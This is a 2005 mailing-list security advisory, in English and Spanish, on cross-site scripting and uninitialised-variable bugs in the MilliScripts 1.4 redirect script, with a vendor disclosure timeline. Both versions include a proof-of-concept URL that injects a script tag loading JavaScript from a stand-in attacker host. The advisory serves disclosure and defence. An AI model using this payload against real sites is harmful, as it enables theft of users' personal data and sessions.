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| Subject: | [VulnWatch] Milliscript 1.4 Multiple Vulnerabilities |
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| Date: | Fri, 9 Dec 2005 14:14:04 -0600 |
################################################################### Full PDF Advisory: http://securitynation.com/files/sndown.php?id=22 english http://securitynation.com/files/sndown.php?id=22 spanish ################################################################### Multiple Bugs On MilliScripts 1.4 Redirection http://www.milliscripts.at Date: 01-Diciembre-2005 Researchers: Luis Alberto Cortes Zavala, Vicente Perez 1.-Overview MilliScripts 1.4 Is a free redirect script for starting your own service of subdomains, without any complex configuration at your Server and with so many functions. For more information go to www.milliscripts.at 2.-Description By all the source code there are a lot of bugs that can be found easily, more of them are XSS, but is quite possible to have some PHP Injection, however, you can lie to a user to try to open some malformed url, with his control panel and get some personal information with XSS. A Basic example is the var $domainname http://www.server.net/red_14/register.php?do=register2&domainname=%22%3E%3Cs cript%20src=http://serveratacker.com/script.js%3E%3C/script%3E&ext=somevalid domain.net So, we have other bugs founded on the code, like this next example, that is a var, who decides the program flow, who is not set by when the users call the function that is needed: if($autoappr == "on") { //some code}else{//some code} $autoappr value is nothing, and is not declared before 3.- Disclosure Time Line Vendor Contacted: 07-December-2005 Vendor Response: 09-December-2005 Vendor answer: the scripts are quite old, and they haven't been further developed since a few years. 5.- Copyright http://www.securitynation.com - Security Nation is a Lab Supported by RISS Security Services. http://www.riss.com.mx luis.cortes@riss.com.mx vicente.perez@riss.com.mx ############################################################################ ################# Spanish Version of Advisory ############################################################################ ################# Multiple Bugs On MilliScripts 1.4 Redirection http://www.milliscripts.at 01-Diciembre-2005 Investigadores: Luis Alberto Cortes Zavala, Vicente Perez 1.-Vista Previa MilliScripts 1.4 Es un script que permite abrir tu propio servicio de redirección de subdominios, sin alterar registros absolutos en tu servidor, es un script potente y con muchas funciones, suficientes par aponer un servicio del estilo de cjb.net. Para mas información remitirse al sitio Web www.milliscripts.at 2.-Descripción A lo largo del sistema existen diferentes fallos y múltiples XSS, que son fácilmente explotables, siendo este no un problema de inicio se puede conseguir que un usuario abra su panel de control y obtener datos confidenciales, así mismo no se descarta la posibilidad de inyección remota de código PHP. Un ejemplo básico esta en la variable $domainname que es fácilmente explotable: http://www.server.net/red_14/register.php?do=register2&domainname=%22%3E%3Cs cript%20src=http://serveratacker.com/script.js%3E%3C/script%3E&ext=somevalid domain.net Entre otros errores encontrados en el código se denota un ciclo, la aplicación tiene la opción de autorizar usuarios nuevos o auto aprobarlos, sin embargo en el código no esta correctamente implementado como se denota a continuación: if($autoappr == "on") { //some code}else{//some code} En esta línea de código el flujo del programa se define de acuerdo al valor de la variable, cosa que en la revisión del código es errónea ya que la variable no tiene ningún valor al ser usada, de hecho ni siquiera existe en la pila porque no había sido declarada en ningún momento. 3.- Tiempo de línea de Disclosure Contacto con el Desarrollador: 07-Diciembre-2005 Respuesta del Desarrollador: 09-Diciembre-2005 El script es viejo y esta fuera de mantenimiento, sin embargo podemos remitir la información técnica, probablemente saque alguna actualización si se encuentra la necesidad. 5.- Copyright http://www.securitynation.com - Security Nation is a Lab Supported by RISS Security Services. http://www.riss.com.mx luis.cortes@riss.com.mx vicente.perez@riss.com.mx
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